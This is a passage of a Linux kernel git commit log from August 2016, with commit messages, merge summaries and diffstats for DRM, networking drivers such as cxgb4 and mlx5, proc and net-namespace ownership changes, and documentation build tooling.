Signed-off-by: Baoquan He Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-acpi@vger.kernel.org Cc: rjw@rjwysocki.net Link: http://lkml.kernel.org/r/1470985033-22493-1-git-send-email-bhe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/mpparse.c | 3 +++ arch/x86/kernel/setup.c | 3 +-- arch/x86/mm/amdtopology.c | 22 +++++----------------- 3 files changed, 9 insertions(+), 19 deletions(-) commit f8725ad1da5182aea9b08c8ef300e83bac74f756 Merge: a02b5a1 3590d50 Author: Dave Airlie Date: Mon Aug 15 16:46:36 2016 +1000 Merge tag 'topic/drm-misc-2016-08-12' of git://anongit.freedesktop.org/drm-intel into drm-next - more fence destaging and cleanup (Gustavo&Sumit) - DRIVER_LEGACY to untangle from DRIVER_MODESET - drm_mm refactor (Chris) - fbdev-less compile fies - clipped plane src/dst rects (Ville) - + a few mediatek patches that build on top of that (Bibby+Daniel) - small stuff all over really * tag 'topic/drm-misc-2016-08-12' of git://anongit.freedesktop.org/drm-intel: (43 commits) dma-buf/fence: kerneldoc: remove spurious section header dma-buf/fence: kerneldoc: remove unused struct members Revert "gpu: drm: omapdrm: dss-of: add missing of_node_put after calling of_parse_phandle" drm: Protect fb_defio in drivers with CONFIG_KMS_FBDEV_EMULATION drm/radeon|amgpu: Make fbdev emulation optional drm/vmwgfx: select CONFIG_FB drm: Remove superflous linux/fb.h includes drm/fb-helper: Add a dummy remove_conflicting_framebuffers dma-buf/sync_file: only enable fence signalling on poll() Documentation: add doc for sync_file_get_fence() dma-buf/sync_file: add sync_file_get_fence() dma-buf/sync_file: refactor fence storage in struct sync_file dma-buf/fence-array: add fence_is_array() drm/dp_helper: Rate limit timeout errors from drm_dp_i2c_do_msg() drm/dp_helper: Print first error received on failure in drm_dp_dpcd_access() drm: Add ratelimited versions of the DRM_DEBUG* macros drm: Make sure drm_vblank_no_hw_counter isn't abused drm/mediatek: Fix mtk_atomic_complete for runtime_pm drm/mediatek: plane: Use FB's format's cpp to compute x offset drm/mediatek: plane: Merge mtk_plane_enable into mtk_plane_atomic_update ... commit a02b5a155e21b6d324045eca2e30e93f4ff4c51c Merge: c13eb93 dc80d70 Author: Dave Airlie Date: Mon Aug 15 16:41:45 2016 +1000 Merge tag 'imx-drm-next-2016-08-12' of git://git.pengutronix.de/git/pza/linux into drm-next imx-drm updates and encoder atomic_mode_set helper callback - add pixel clock and DE polarity configuration from device tree using display timing bindings for parallel and LVDS output - cleanup/remove trivial functions - cleanup and fixes in preparation for capture support - add atomic_mode_set helper and use it in imx-ldb - this is an alternative to the encoder mode_set callback that passes the crtc and connector state instead of just the mode. It allows drivers to get information from the attached connector without having to iterate over all connectors - add drm_bridge support to imx-ldb, for bridges attached via LVDS * tag 'imx-drm-next-2016-08-12' of git://git.pengutronix.de/git/pza/linux: drm/imx-ldb: Add support to drm-bridge drm/imx: imx-ldb: use encoder atomic_mode_set callback drm/atomic-helper: Add atomic_mode_set helper callback drm/imx: Remove imx_drm_handle_vblank() gpu: ipu-v3: Add missing IDMAC channel names gpu: ipu-v3: rename CSI client device gpu: ipu-v3: Fix IRT usage gpu: ipu-v3: Fix CSI data format for 16-bit media bus formats gpu: ipu-v3: set correct full sensor frame for PAL/NTSC gpu: ipu-v3: Add VDI input IDMAC channels gpu: ipu-v3: Add ipu_get_num() gpu: ipu-cpmem: Add ipu_cpmem_get_burstsize() gpu: ipu-cpmem: Add ipu_cpmem_set_uv_offset() drm/imx: Remove imx_drm_crtc_id() drm/imx: Remove imx_drm_crtc_vblank_get/_put() drm/imx: convey the pixelclk-active and de-active flags from DT to the ipu-di driver drm: add a helper function to extract 'de-active' and 'pixelclk-active' from DT commit c13eb9315f80f4b4cc0cbaad8c57068b2665e1f9 Merge: db47432 7216436 Author: Dave Airlie Date: Mon Aug 15 16:41:17 2016 +1000 Merge tag 'mediatek-drm-next-2016-08-12' of git://git.pengutronix.de/git/pza/linux into drm-next mediatek-drm maintainers and gamma correction - add MAINTAINERS entry for mediatek-drm driver - add support for AAL and GAMMA engines - hook up gamma correction LUT - add support for temporal dithering to OD and GAMMA engines * tag 'mediatek-drm-next-2016-08-12' of git://git.pengutronix.de/git/pza/linux: drm/mediatek: set mt8173 dithering function drm/mediatek: Add gamma correction. drm/mediatek: Add GAMMA engine basic function drm/mediatek: Add AAL engine basic function drm: mediatek: add Maintainers entry for Mediatek DRM drivers commit db4743227b8f41cd912ce82d050245399a71b724 Merge: 694d0d0 e0e344e Author: Dave Airlie Date: Mon Aug 15 16:39:28 2016 +1000 Merge branch 'drm-next-tilcdc-atomic' of https://github.com/jsarha/linux into drm-next Please pull tilcdc atomic modeset support and some non critical fixes. * 'drm-next-tilcdc-atomic' of https://github.com/jsarha/linux: (29 commits) drm/tilcdc: Change tilcdc_crtc_page_flip() to tilcdc_crtc_update_fb() drm/tilcdc: Remove unnecessary pm_runtime_get() and *_put() calls drm/tilcdc: Get rid of legacy dpms mechanism drm/tilcdc: Use drm_atomic_helper_resume/suspend() drm/tilcdc: Enable and disable interrupts in crtc start() and stop() drm/tilcdc: tfp410: Add atomic modeset helpers to connector funcs drm/tilcdc: tfp410: Set crtc panel info at init phase drm/tilcdc: panel: Add atomic modeset helpers to connector funcs drm/tilcdc: panel: Set crtc panel info at init phase drm/tilcdc: Remove tilcdc_verify_fb() drm/tilcdc: Remove obsolete crtc helper functions drm/tilcdc: Set DRIVER_ATOMIC and use atomic crtc helpers drm/tilcdc: Add drm_mode_config_reset() call to tilcdc_load() drm/tilcdc: Add atomic mode config funcs drm/tilcdc: Add tilcdc_crtc_atomic_check() drm/tilcdc: Add tilcdc_crtc_mode_set_nofb() drm/tilcdc: Initialize dummy primary plane from crtc init drm/tilcdc: Add dummy primary plane implementation drm/tilcdc: Make tilcdc_crtc_page_flip() work if crtc is not yet on drm/tilcdc: Make tilcdc_crtc_page_flip() public ... commit 7bb8b777794bdeb9e53b3c0f39ed5474930a062a Author: Bhaktipriya Shridhar Date: Sat Aug 13 22:11:24 2016 +0530 EDAC, wq: Remove deprecated create_singlethread_workqueue() Replace the deprecated create_singlethread_workqueue() with alloc_ordered_workqueue() with WQ_MEM_RECLAIM. This is the identity conversion. It's not recommended to stall it from memory pressure. Hence, WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Cc: Tejun Heo Cc: linux-edac Link: http://lkml.kernel.org/r/20160813164124.GA9077@Karyakshetra Signed-off-by: Borislav Petkov drivers/edac/wq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cfad65c7fa9e77c27025eb5c2098cfbd4d445eab Author: Wei Yongjun Date: Fri Aug 12 15:46:57 2016 +0000 net: dsa: b53: remove .owner and .bus fields for driver Remove .owner and .bus fields since module_spi_driver() is used which set them automatically. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_spi.c | 2 -- 1 file changed, 2 deletions(-) commit b22ae0b4d9669495158a7fa0fd027bd0fcd8896e Author: Wei Yongjun Date: Fri Aug 12 15:43:54 2016 +0000 net: macb: add missing free_netdev() on error in macb_probe() Add the missing free_netdev() before return from function macb_probe() in the platform_get_irq() error handling case. Fixes: c69618b3e4f2 ("net/macb: fix probe sequence to setup clocks earlier") Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/cadence/macb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 02ee9b18dedf1d72afa0fbfb0d7c15f6b4904a07 Author: Wei Yongjun Date: Thu Aug 11 23:29:54 2016 +0000 qed: Fix possible memory leak in qed_dcbnl_get_ieee_pfc() 'dcbx_info is malloced in qed_dcbnl_get_ieee_pfc() and should be freed before leaving from the error handling cases, otherwise it will cause memory leak. Fixes: a1d8d8a51e83 ("qed: Add dcbnl support.") Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_dcbx.c | 1 + 1 file changed, 1 insertion(+) commit 2fb876b2221d35fab002595af71c7ea339166a20 Merge: a878c02 858aa65 Author: David S. Miller Date: Sun Aug 14 21:16:58 2016 -0700 Merge branch 'cxgb4-IFLA_VF_MAC' Hariprasad Shenai says: ==================== cxgb4: Add support for IFLA_VF_MAC We're struggling to implement the PCI SR-IOV management features for administering Virtual Functions which represent networking devices using the current Linux APIs. The problem is that these APIs incorporate all sorts of assumptions which don't match chelsio networking cards. For instance, the current APIs assume a 1-to-1 mapping of Network Ports, Physical Functions and the SR-IOV Virtual Functions of those Physical Functions. This is not the case with our cards where any Virtual Function can be hooked up to any Port -- or any number of Ports the current Linux APIs also assume only 1 Network Interface/Port can be accessed per Virtuali Function. Another issue is that these APIs assume that the Administrative Driver is attached to the Physical Function Associated with a Virtual Function. This is not the case with our card where all administration is performed by a Driver which is not attached to any of the Physical Functions which have SR-IOV PCI Capabilities. Another consequence of these assumptions is the inability to utilize all of the cards SR-IOV resources. For instance, our cards have SR-IOV Capabilities on Physical Functions 0..3 and the administrative Driver attaches to Physical Function 4. Each of the Physical Functions 0..3 can support up to 16 Virtual Functions. With the current Linux APIs, a 2-Port card would only be able to use the Virtual Functions on Physical Function 0..1 and not allow the Virtual Functions on Physical Functions 2..3 to be used since there are no Ports 2..3 on a 2-Port card. Patch 1/2 adds support to create management interface for each PF to control thier corresponding VF's. Patch 2/2 adds support for ndo_set_vf_mac. This patch series has been created against net-next tree. We have included all the maintainers of respective drivers. Kindly review the change and let us know in case of any review comments. V5: Fix warning reported by kbuild bot when CONFIG_PCI_IOV isn't defined. V4: Handle memory allocation failure for adapter->mbox_log in init_one(). Based on review comment by Yuval Mintz V3: Based on review comment by Yuval Mintz, removed extra parameter pf added to IFLA_VF API's and created a net_device corresponding to each PF for controling their VF. Based on review comment by Yuval Mintz V2: Fixed check for MAC address in Patch 2/2, based on review comment by Yuval Mintz ==================== Signed-off-by: David S. Miller commit 858aa65c5110b624bfdab6a891d53826b0dd45aa Author: Hariprasad Shenai Date: Thu Aug 11 21:06:24 2016 +0530 cxgb4/cxgb4vf: Add set VF mac address support Add ndo_set_vf_mac support which allows to set the MAC address for cxgb4vf interfaces from the host Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 3 ++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 24 ++++++++- drivers/net/ethernet/chelsio/cxgb4/t4_hw.c | 41 ++++++++++++++ .../net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c | 24 +++++++++ drivers/net/ethernet/chelsio/cxgb4vf/t4vf_common.h | 3 ++ drivers/net/ethernet/chelsio/cxgb4vf/t4vf_hw.c | 63 +++++++++++++++++++--- 6 files changed, 151 insertions(+), 7 deletions(-) commit 7829451c695e5b795fef95d72cd258e78d52f62d Author: Hariprasad Shenai Date: Thu Aug 11 21:06:23 2016 +0530 cxgb4: Add control net_device for configuring PCIe VF Issue: For instance, the current APIs assume a 1-to-1 mapping of Network Ports, Physical Functions and the SR-IOV Virtual Functions of those Physical Functions. This is not the case with our cards where any Virtual Function can be hooked up to any Port -- or any number of Ports the current Linux APIs also assume only 1 Network Interface/Port can be accessed per Virtual Function. Another issue is that these APIs assume that the Administrative Driver is attached to the Physical Function Associated with a Virtual Function. This is not the case with our card where all administration is performed by a Driver which is not attached to any of the Physical Functions which have SR-IOV PCI Capabilities. Another consequence of these assumptions is the inability to utilize all of the cards SR-IOV resources. For instance, our cards have SR-IOV Capabilities on Physical Functions 0..3 and the administrative Driver attaches to Physical Function 4. Each of the Physical Functions 0..3 can support up to 16 Virtual Functions. With the current Linux APIs, a 2-Port card would only be able to use the Virtual Functions on Physical Function 0..1 and not allow the Virtual Functions on Physical Functions 2..3 to be used since there are no Ports 2..3 on a 2-Port card. Fix: Since the control node is always the netdevice for all VF ACL commands. Created a dummy netdevice for each Physical Function from 0 to 3 through which one could control their VFs. The device won't be associated with any port, since it doesn't need to transmit/receive. Its purely used for VF management purpose only. The device will be registered only when VF for a particular PF is configured using PCI sysfs interface and unregistered while pci_disable_sriov() for the PF is called. Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 121 ++++++++++++++++++++---- 1 file changed, 103 insertions(+), 18 deletions(-) commit a878c020172a7cd9fb2f691b95e2c30084a50cb4 Merge: d16d9d2 e79c6a4 Author: David S. Miller Date: Sun Aug 14 21:09:11 2016 -0700 Merge branch 'proc-per-ns' Dmitry Torokhov says: ==================== Make /proc per net namespace objects belong to container Currently [almost] all /proc objects belong to the global root, even if data belongs to a given namespace within a container and (at least for sysctls) we work around permssions checks to allow container's root to access the data. This series changes ownership of net namespace /proc objects (/proc/net/self/* and /proc/sys/net/*) to be container's root and not global root when there exists mapping for container's root in user namespace. This helps when running Android CTS in a container, but I think it makes sense regardless. Changes from V1: - added fix for crash when !CONFIG_NET_NS (new patch #1) - addressed Eric'c comments for error handling style in patch #3 and added his Ack - adjusted patch #2 to use the same style of erro handling - sent out as series instead of separate patches ==================== Signed-off-by: David S. Miller commit e79c6a4fc923eed2bdd3b716e0f01414847db90a Author: Dmitry Torokhov Date: Wed Aug 10 14:36:02 2016 -0700 net: make net namespace sysctls belong to container's owner If net namespace is attached to a user namespace let's make container's root owner of sysctls affecting said network namespace instead of global root. This also allows us to clean up net_ctl_permissions() because we do not need to fudge permissions anymore for the container's owner since it now owns the objects in question. Acked-by: "Eric W. Biederman" Signed-off-by: Dmitry Torokhov Signed-off-by: David S. Miller fs/proc/proc_sysctl.c | 5 +++++ include/linux/sysctl.h | 4 ++++ net/sysctl_net.c | 29 ++++++++++++++++++++--------- 3 files changed, 29 insertions(+), 9 deletions(-) commit c110486f6cb240f36ec143cad6628d52c071f529 Author: Dmitry Torokhov Date: Wed Aug 10 14:36:01 2016 -0700 proc: make proc entries inherit ownership from parent There are certain parameters that belong to net namespace and that are exported in /proc. They should be controllable by the container's owner, but are currently owned by global root and thus not available. Let's change proc code to inherit ownership of parent entry, and when create per-ns "net" proc entry set it up as owned by container's owner. Signed-off-by: Dmitry Torokhov Signed-off-by: David S. Miller fs/proc/generic.c | 2 ++ fs/proc/proc_net.c | 13 +++++++++++++ 2 files changed, 15 insertions(+) commit f8c46cb39079b7415ada1affc4631ae761d8b621 Author: Dmitry Torokhov Date: Wed Aug 10 14:36:00 2016 -0700 netns: do not call pernet ops for not yet set up init_net namespace When CONFIG_NET_NS is disabled, registering pernet operations causes init() to be called immediately with init_net as an argument. Unfortunately this leads to some pernet ops, such as proc_net_ns_init() to be called too early, when init_net namespace has not been fully initialized. This causes issues when we want to change pernet ops to use more data from the net namespace in question, for example reference user namespace that owns our network namespace. To fix this we could either play game of musical chairs and rearrange init order, or we could do the same as when CONFIG_NET_NS is enabled, and postpone calling pernet ops->init() until namespace is set up properly. Note that we can not simply undo commit ed160e839d2e ("[NET]: Cleanup pernet operation without CONFIG_NET_NS") and use the same implementations for __register_pernet_operations() and __unregister_pernet_operations(), because many pernet ops are marked as __net_initdata and will be discarded, which wreaks havoc on our ops lists. Here we rely on the fact that we only use lists until init_net is fully initialized, which happens much earlier than discarding __net_initdata sections. Signed-off-by: Dmitry Torokhov Signed-off-by: David S. Miller net/core/net_namespace.c | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) commit cc935bb5969ae16502a940809b4962e948a7aa9c Merge: d9bd993 a78a136 Author: Jonathan Corbet Date: Sun Aug 14 13:57:55 2016 -0600 Merge branch 'doc/4.9' into docs-next commit d9bd993640d34ca97b1f4c4bc317399cfe661a9a Merge: 34df2a4 d1669c8 Author: Jonathan Corbet Date: Sun Aug 14 13:57:38 2016 -0600 Merge branch 'doc/4.8-fixes' into docs-next commit a78a136fa9337fdc25fdbaa2d253f9b4dc90ad44 Author: Joe Perches Date: Tue Jul 12 17:18:28 2016 -0700 CodingStyle: Remove "Don't use C99-style comments" Because Linus may still be reading source code on greenbar paper instead of color terminals with code syntax highlighting and appropriate font decorations. Link: http://lkml.kernel.org/r/CA+55aFyQYJerovMsSoSKS7PessZBr4vNp-3QUUwhqk4A4_jcbg@mail.gmail.com Signed-off-by: Joe Perches Documentation/CodingStyle | 3 --- 1 file changed, 3 deletions(-) commit 02bef8f98d26e9774b49c78a42b29b168e8876fc Author: Chris Wilson Date: Sun Aug 14 18:44:41 2016 +0100 drm/i915: Unbind closed vma for i915_gem_object_unbind() Closed vma are removed from the obj->vma_list so that they cannot be found by userspace. However, this means that when forcibly unbinding an object, we have to wait upon all rendering to that object first in order for the closed, but active, vma to be reaped and their bindings removed. Reported-by: Matthew Auld Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97343 Fixes: aa653a685d81 ("drm/i915: Be more careful when unbinding vma") Fixes: 8a3b3d576c93 (" drm/i915: Convert non-blocking userptr waits...") Signed-off-by: Chris Wilson Cc: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/1471196681-30043-2-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Matthew Auld Tested-by: Matthew Auld drivers/gpu/drm/i915/i915_gem.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit 35a9611ca0e719557d9a198cb01021b4003198f2 Author: Chris Wilson Date: Sun Aug 14 18:44:40 2016 +0100 drm/i915: Initialize return value for empty i915_gem_object_unbind() If the obj->vma_list is empty, we immediately return ret. However, we are doing so having never set it to any value, it should be zero! Reported-by: Matthew Auld References: https://bugs.freedesktop.org/show_bug.cgi?id=97343 Fixes: aa653a685d81 ("drm/i915: Be more careful when unbinding vma") Signed-off-by: Chris Wilson Cc: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/1471196681-30043-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Matthew Auld drivers/gpu/drm/i915/i915_gem.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 865a1caa4b6b886babdd9d67e7c3608be4567a51 Author: Jean Delvare Date: Mon Jul 25 14:29:06 2016 +0200 CodingStyle: Clarify and complete chapter 7 Chapter 7 (Centralized exiting of functions) of the coding style documentation is unclear at times, and lacks some information (such as the possibility to indent labels with a single space.) Clarify and complete it. Signed-off-by: Jean Delvare Cc: Markus Elfring Cc: Jonathan Corbet Signed-off-by: Jonathan Corbet Documentation/CodingStyle | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) commit 35db7e94cdee495673360f449cdae726d5576ab7 Author: Øyvind A. Holm Date: Tue Jul 26 15:21:33 2016 +0200 README: Delete obsolete i386 info + update arch/i386/ paths Support for i386 was removed in v3.8, delete the paragraph that says processor types above 386 won't work on that architecture. It's obsolete information and potentially confusing. Also change a couple of "arch/i386/" paths to one that exists now, using "arch/x86/" instead. Signed-off-by: Øyvind A. Holm Signed-off-by: Jonathan Corbet README | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 6203a642785a7979ec64406da0b452037df31e75 Author: Andi Shyti Date: Fri Aug 12 14:41:25 2016 +0200 Documentation: clk: update file names containing referenced structures Commit 'b09d6d991' removes include/linux/clk-private.h and re-arranges the clock related structures contained in it in different files. The documentation has not been updated accordingly, thus it wasn't anymore consistent. Place the structures referenced by Documentation/clk.txt in the correct files and update their contents to the latest status. Signed-off-by: Andi Shyti [geert: Fix path to clk.c, whitespace, more clk_core, ...] Signed-off-by: Geert Uytterhoeven Signed-off-by: Jonathan Corbet Documentation/clk.txt | 42 ++++++++++++++++++++++-------------------- 1 file changed, 22 insertions(+), 20 deletions(-) commit a55a51da7a8d6e306a025adc1fb21cd2379ca9bd Author: Markus Heiser Date: Sat Aug 13 16:12:46 2016 +0200 doc-rst: add docutils config file To stop the sphinx-build on severe errors and exit with an exit code (to stop make) the halt_level must be set. The halt_level can't be set from sphinx, it is a docutils configuration [1]. For this a docutils.conf was added. [1] http://docutils.sourceforge.net/docs/user/config.html Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/docutils.conf | 7 +++++++ 1 file changed, 7 insertions(+) commit 666756252deede35014e9ffd4bda70127d7dddf1 Author: Markus Heiser Date: Sat Aug 13 16:12:45 2016 +0200 doc-rst: add stand-alone conf.py to gpu folder With the gpu/conf.py, the gpu folder can be build and distributed stand-alone. To compile only the html of 'gpu' folder use:: make SPHINXDIRS="gpu" htmldocs Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/gpu/conf.py | 3 +++ 1 file changed, 3 insertions(+) commit 482941aa84a6224b3e45f8d52de75c0c0de51391 Author: Markus Heiser Date: Sat Aug 13 16:12:44 2016 +0200 doc-rst: add media/conf_nitpick.py The media/conf_nitpick.py is a *build-theme* wich uses the nit-picking mode of sphinx. To compile only the html of 'media' with the nit-picking build use:: make SPHINXDIRS=media SPHINX_CONF=conf_nitpick.py htmldocs With this, the Documentation/conf.py is read first and updated with the configuration values from the Documentation/media/conf_nitpick.py. The origin media/conf_nitpick.py comes from Mauro's experimental docs-next branch:: https://git.linuxtv.org/mchehab/experimental.git mchehab/docs-next BTW fixed python indentation in media/conf_nitpick.py. Python indentation is 4 spaces [1] and Python 3 disallows mixing the use of tabs and spaces for indentation [2]. [1] https://www.python.org/dev/peps/pep-0008/#indentation [2] https://www.python.org/dev/peps/pep-0008/#tabs-or-spaces Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/media/conf_nitpick.py | 93 +++++++++++++++++++++++++++++++++++++ 1 file changed, 93 insertions(+) commit b32febad77068b4a28daf7b7e063438d0cca8a42 Author: Markus Heiser Date: Sat Aug 13 16:12:43 2016 +0200 doc-rst: add stand-alone conf.py to media folder With the media/conf.py, and media/index.rst the media folder can be build and distributed stand-alone. Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/index.rst | 7 +------ Documentation/media/conf.py | 3 +++ Documentation/media/index.rst | 12 ++++++++++++ 3 files changed, 16 insertions(+), 6 deletions(-) commit 606b9ac81a63ab3adb7e61206b9ae34ee186a89d Author: Markus Heiser Date: Sat Aug 13 16:12:42 2016 +0200 doc-rst: generic way to build only sphinx sub-folders Add a generic way to build only a reST sub-folder with or without a individual *build-theme*. * control *sub-folders* by environment SPHINXDIRS * control *build-theme* by environment SPHINX_CONF Folders with a conf.py file, matching $(srctree)/Documentation/*/conf.py can be build and distributed *stand-alone*. E.g. to compile only the html of 'media' and 'gpu' folder use:: make SPHINXDIRS="media gpu" htmldocs To use an additional sphinx-build configuration (*build-theme*) set the name of the configuration file to SPHINX_CONF. E.g. to compile only the html of 'media' with the *nit-picking* build use:: make SPHINXDIRS=media SPHINX_CONF=conf_nitpick.py htmldocs With this, the Documentation/conf.py is read first and updated with the configuration values from the Documentation/media/conf_nitpick.py. Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/DocBook/Makefile | 7 ++++++ Documentation/Makefile.sphinx | 43 +++++++++++++++++++++++++++++++------ Documentation/conf.py | 7 ++++++ Documentation/sphinx/load_config.py | 32 +++++++++++++++++++++++++++ 4 files changed, 82 insertions(+), 7 deletions(-) commit ec22eb53106be1472ba6573dc900943f52f8fd1e Author: Saeed Mahameed Date: Sat Jul 16 06:28:36 2016 +0300 {net,IB}/mlx5: MKey/PSV commands via mlx5 ifc Remove old representation of manually created MKey/PSV commands layout, and use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/infiniband/hw/mlx5/mlx5_ib.h | 2 +- drivers/infiniband/hw/mlx5/mr.c | 184 ++++++++++++--------- drivers/infiniband/hw/mlx5/qp.c | 8 +- drivers/net/ethernet/mellanox/mlx5/core/cmd.c | 4 +- .../net/ethernet/mellanox/mlx5/core/en_common.c | 23 +-- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 37 ++--- drivers/net/ethernet/mellanox/mlx5/core/mr.c | 183 +++++++++----------- include/linux/mlx5/device.h | 113 +------------ include/linux/mlx5/driver.h | 11 +- include/linux/mlx5/mlx5_ifc.h | 2 +- 10 files changed, 235 insertions(+), 332 deletions(-) commit 278277866334e515141dde7c8ac143e15c0a767f Author: Saeed Mahameed Date: Sat Jul 16 02:33:22 2016 +0300 {net,IB}/mlx5: CQ commands via mlx5 ifc Remove old representation of manually created CQ commands layout, and use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/infiniband/hw/mlx5/cq.c | 110 ++++++++++++--------- drivers/net/ethernet/mellanox/mlx5/core/cq.c | 113 +++++++++------------- drivers/net/ethernet/mellanox/mlx5/core/debugfs.c | 18 ++-- include/linux/mlx5/cq.h | 6 +- include/linux/mlx5/device.h | 76 --------------- 5 files changed, 122 insertions(+), 201 deletions(-) commit 73b626c182dff06867ceba996a819e8372c9b2ce Author: Saeed Mahameed Date: Sat Jul 16 03:26:15 2016 +0300 net/mlx5: EQ commands via mlx5 ifc Remove old representation of manually created EQ commands layout, and use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/debugfs.c | 18 +++--- drivers/net/ethernet/mellanox/mlx5/core/eq.c | 78 ++++++++++------------- include/linux/mlx5/device.h | 74 --------------------- include/linux/mlx5/driver.h | 2 +- 4 files changed, 44 insertions(+), 128 deletions(-) commit a533ed5e179cd15512d40282617909d3482a771c Author: Saeed Mahameed Date: Sun Jul 17 13:27:25 2016 +0300 net/mlx5: Pages management commands via mlx5 ifc Remove old representation of manually created Pages management commands layout, and use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky .../net/ethernet/mellanox/mlx5/core/pagealloc.c | 165 ++++++++------------- 1 file changed, 58 insertions(+), 107 deletions(-) commit 20bb566bda7b3e62b67dbb1bd363be40b5ae81c3 Author: Saeed Mahameed Date: Sun Jul 17 02:01:45 2016 +0300 net/mlx5: MCG commands via mlx5 ifc Remove old representation of manually created MCG commands layout and use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/cmd.c | 4 +- drivers/net/ethernet/mellanox/mlx5/core/mcg.c | 70 +++++++-------------------- include/linux/mlx5/mlx5_ifc.h | 2 +- 3 files changed, 21 insertions(+), 55 deletions(-) commit 732ef5ad8ff6e2fb9a801c0e1313d5a5d85ed98f Author: Saeed Mahameed Date: Sun Jul 17 01:44:57 2016 +0300 net/mlx5: PD and UAR commands via mlx5 ifc Remove old representation of manually created PD/UAR commands layouts and use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/pd.c | 58 +++++------------------ drivers/net/ethernet/mellanox/mlx5/core/uar.c | 66 ++++++--------------------- 2 files changed, 25 insertions(+), 99 deletions(-) commit 20ed51c643b6296789a48adc3bc2cc875a1612cf Author: Saeed Mahameed Date: Sun Jul 17 00:46:41 2016 +0300 net/mlx5: Access register and MAD IFC commands via mlx5 ifc Remove old representation of manually created ACCESS_REG/MAD_IFC commands layout and use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/mad.c | 42 ++++++++++----------- drivers/net/ethernet/mellanox/mlx5/core/port.c | 52 +++++++++++++------------- include/linux/mlx5/device.h | 29 -------------- 3 files changed, 45 insertions(+), 78 deletions(-) commit 04ed5ad5db6880d53dd1bb8c93e82228a462a4dd Author: Saeed Mahameed Date: Sun Jul 17 01:28:47 2016 +0300 net/mlx5: Init/Teardown hca commands via mlx5 ifc Remove old representation of manually created Init/Teardown hca commands layout and use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/fw.c | 36 ++++++++-------------------- include/linux/mlx5/device.h | 24 ------------------- 2 files changed, 10 insertions(+), 50 deletions(-) commit d16d9d2ad778e8247617c10703dfd749c776f242 Author: Colin Ian King Date: Fri Aug 12 21:29:24 2016 +0100 net: phy: initialize rc to zero to avoid returning garbage value In the case where phydev->interrupts is not PHY_INTERRUPT_ENABLED function vsc85xx_ack_interrupt is returning an uninitialized garbage value. Fix this by initializing rc to zero. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/phy/mscc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1e10f3fbfb1c351768576b756c60f83922b65e5e Author: LABBE Corentin Date: Fri Aug 12 14:58:02 2016 +0200 net: bfin_mac: Fix a few spelling fixes This patch respell some word badly spelled. - Invidate instead of Invalidate - proble instead of probe Signed-off-by: LABBE Corentin Signed-off-by: David S. Miller drivers/net/ethernet/adi/bfin_mac.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 5f3b9d36540c5d55b0b97bc592f5e7759c5c8fd9 Merge: 7056783 ff9a71a Author: David S. Miller Date: Sat Aug 13 15:11:05 2016 -0700 Merge tag 'mac80211-next-for-davem-2016-08-12' of git://git.kernel.org/pub/scm/linux/kernel/git/jberg/mac80211-next Johannes Berg says: ==================== Not much for -next so far, but here it goes: * send more nl80211 events for interfaces * remove useless network/transport offset mangling code * validate beacon intervals identically for all interface types * use driver rate estimates for mesh * fix a compiler type/signedness warning ==================== Signed-off-by: David S. Miller commit 70567833ad10dd037e3c1545dd3533e7089fee61 Merge: 6176e89 eb36333 Author: David S. Miller Date: Sat Aug 13 